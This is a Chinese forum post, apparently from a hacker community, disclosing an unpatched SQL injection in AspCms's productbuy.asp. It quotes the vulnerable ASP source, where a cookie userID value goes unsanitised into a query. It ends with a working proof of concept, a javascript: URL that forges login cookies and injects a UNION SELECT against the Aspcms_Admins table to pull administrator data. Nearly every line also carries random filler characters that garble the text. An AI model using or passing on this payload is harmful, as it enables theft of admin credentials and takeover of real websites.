好久没上土司了,上来一看发现在删号名单内.....; F I/ }) t) \7 U' W1 `
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。$ u) c/ r& F2 R; q3 [' b# l
废话不多说,看代码:; H: I$ }8 R: c9 W* Y6 d7 I% ~
+ X3 g0 _% ?8 ]/ g( Q
<%& L+ @$ e8 D; C& q$ b
5 ^6 Y7 _* a+ P( o8 U( X: t5 i( sif action = "buy" then2 F$ c! S( i/ \& o3 }
5 }( Y! p$ j7 a1 d! F7 O7 a1 u$ ~ u
addOrder()
* O$ P6 h$ b+ j1 O h& C$ V
# l* N/ g# }* |' V y4 lelse8 H6 K5 s ` F( l& A8 h3 t
) b8 A* {4 R6 j, {( h; [1 [0 a% u echoContent()
& Z& p8 y& ^0 X0 V& d d
* g* R3 y0 ?2 A$ Gend if6 F$ j& M4 d# Q5 v* e
% y+ ?- g7 B2 G, x' g4 l- n1 Y: H3 q6 h; U
6 d6 j: h( ]5 z w4 B3 ^0 o8 I……略过, ^ d& P w, T4 A/ q8 L2 g9 @8 d
; \- v' s8 A0 A: i" p9 x
# \4 u+ v. D, D4 d( P
% I1 g' W; |4 W, s- I7 o5 {) }# w
Sub echoContent()
& D# T2 x n& P* p
& O( a4 |7 S( [" i% _ dim id
' @& L( @& I0 d- B0 o5 s A- e
! o) R6 L# `+ z3 A6 g5 C id=getForm("id","get")
1 O5 B: j% g% N4 `' o& z1 J/ v) U; E& w3 H0 {8 A, @
$ o: x; I, G# f4 ]
! T$ U* e: F" v* `! A8 b' E" \ @ if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 2 H! V' d' _5 s! g, B. ?1 l
4 z) x+ F7 s1 g - P `. h' y+ r1 t A
- q }+ o) a0 d/ L; D' U9 v dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
# Q' Y. h' h# r V+ W, M- X. @
( q5 a" o8 r7 g* x; ?# | dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct2 f# y C; j9 M5 G# ?' Q
" @1 F& Z: D( l' f4 z7 C Dim templatePath,tempStr
1 }' m8 n( ]2 I7 r) J0 P* j9 f# }. s
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"% }8 ]( G) U: N# f0 |+ C2 o' f5 W. r
, ?* I* \0 e, q/ j) H) m9 M: ~
, }; N( c: {7 O1 A6 L4 D
+ k4 v3 P- r! }# Z: X! B" }8 J) \ set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")- W1 I* m5 {* f1 _, c7 Z
$ b' h1 V! D: G( l( [3 ^, i4 y selectproduct=rsObj(0)9 a$ S3 o, k7 e# e- E
; J0 ?; L0 B3 B) B
2 v3 q+ k; \( J
3 [' l! @4 r2 W. E Dim linkman,gender,phone,mobile,email,qq,address,postcode
+ m6 E( Q: ?+ ]" j8 z! b' p! Y9 a
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
$ k* S' G( b5 I( i4 i- Y
$ v2 q7 L2 o) \# _ if rCookie("loginstatus")=1 then - g& f( W/ \3 A" h4 |6 {
- {, `1 R8 Y' u7 d- \. ?' W
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
% P& Q2 b( w: J/ G
& {8 r* g' H% T2 x8 S# i5 D linkman=rsObj("truename"): Z8 H& W) d" q) _* E/ v; r
5 D3 L }0 Z; R' j6 R gender=rsObj("gender")
1 `4 }3 @! O/ }% \9 d1 ]5 s% U
: S4 s* R8 M5 J6 h+ Y$ p0 F7 V( \ phone=rsObj("phone")
5 B& ^5 `% g4 A! I1 H
& h( }, ~8 r" q( E mobile=rsObj("mobile")
) m# r1 x6 u5 o0 Q* Q8 U9 X) g, W7 g- n. z
email=rsObj("email")
4 u. Y1 z7 W1 V7 ?8 m
8 L+ K) G- O* [ qq=rsObj("qq")
- B/ h* c/ p0 g7 G9 K
# K% Y h D9 w0 M9 q! Z address=rsObj("address"). j& X4 k8 d; u1 j$ a
3 I2 p/ T, I3 I8 K0 H/ K; }/ W postcode=rsObj("postcode")
4 {4 B3 M- M1 {! O3 M# W4 f% O- j0 L# c/ }0 V/ s. y
else
* l M1 h' g3 o2 ~ _2 K
a# H k/ m, G- f) h gender=19 k/ P" E s/ j, \, f9 r. S2 j0 j
6 D3 ?8 u0 m% I5 `0 I1 k4 p
end if r) D& _( e. N2 H2 g; k. I
0 m* G# @* c- L5 J9 q' L3 v
rsObj.close()
- w0 C$ G6 X! i/ j1 t8 S s) f. g& D
6 S5 S0 Y. b+ q+ u# l, u* [
# H! n4 O1 K& p; G9 } with templateObj
% O3 W& Y3 L( w' N% z" T; O2 T
. }, b5 J% t+ q; z. C; }' F. Q4 ` .content=loadFile(templatePath)
$ ]* [% ~* L2 ^% s# K1 m, Q9 M# M
.parseHtml()
" r' X( _, A9 N& G' x7 E& Y9 S" t/ N% m3 n! m) Q n
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)3 X% Q6 X7 q& D: ~) Q
2 H6 x) b8 x' C* i9 k .content=replaceStr(.content,"[aspcms:linkman]",linkman) # G1 C. e0 R' g
+ j6 f- G: y3 H* |
.content=replaceStr(.content,"[aspcms:gender]",gender)
" T7 e! b. p. C" u1 [5 v. |( O2 I/ }" L* S, `' C. z
.content=replaceStr(.content,"[aspcms:phone]",phone) ) Z1 C* E M! {$ w6 S
+ M8 h2 D; Q1 E/ D! h+ Y- u# T
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
/ r; }- F; u6 A* x# S
1 O$ L* U. _; D" j! \ .content=replaceStr(.content,"[aspcms:email]",email)
) I/ R' C# W. [
1 s8 p% i3 P, Q' G4 U; O5 h .content=replaceStr(.content,"[aspcms:qq]",qq)
i1 I0 q. S" q d* i1 A+ j9 S% a9 Z# `2 V9 k- {# M, S
.content=replaceStr(.content,"[aspcms:address]",address)
a! H4 B& _/ r" S9 j1 D" c8 B/ I* H6 f5 i! D
.content=replaceStr(.content,"[aspcms:postcode]",postcode) # B" s6 x0 z6 C `. Y
' t: V8 D z H
.parseCommon() 6 O ~, _, t+ f* `5 K
+ Q# U/ G8 l$ s4 F, B5 G/ F. h0 V echo .content # X# m* c6 }# D+ }! _( z! Y% R
% k; T& V. e2 Y end with
5 F; h) X- ~* U* A: j# f! m) O) d
, C5 K! u3 {8 \7 e set templateobj =nothing : terminateAllObjects( u" \1 ?1 f( x: w0 ~: K
, y+ K, A) I- h! [7 ~" E2 m
End Sub
4 O$ k4 m7 C* u/ O! W漏洞很明显,没啥好说的 ]- _7 u7 p6 ^) o# a2 a
poc:
! O$ `; B( E2 |% j9 t: ^
$ r% X4 S) o1 x+ Njavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子, y" Q* C; K2 e/ t- E
3 e3 x- j. y3 P6 Q5 o: b
|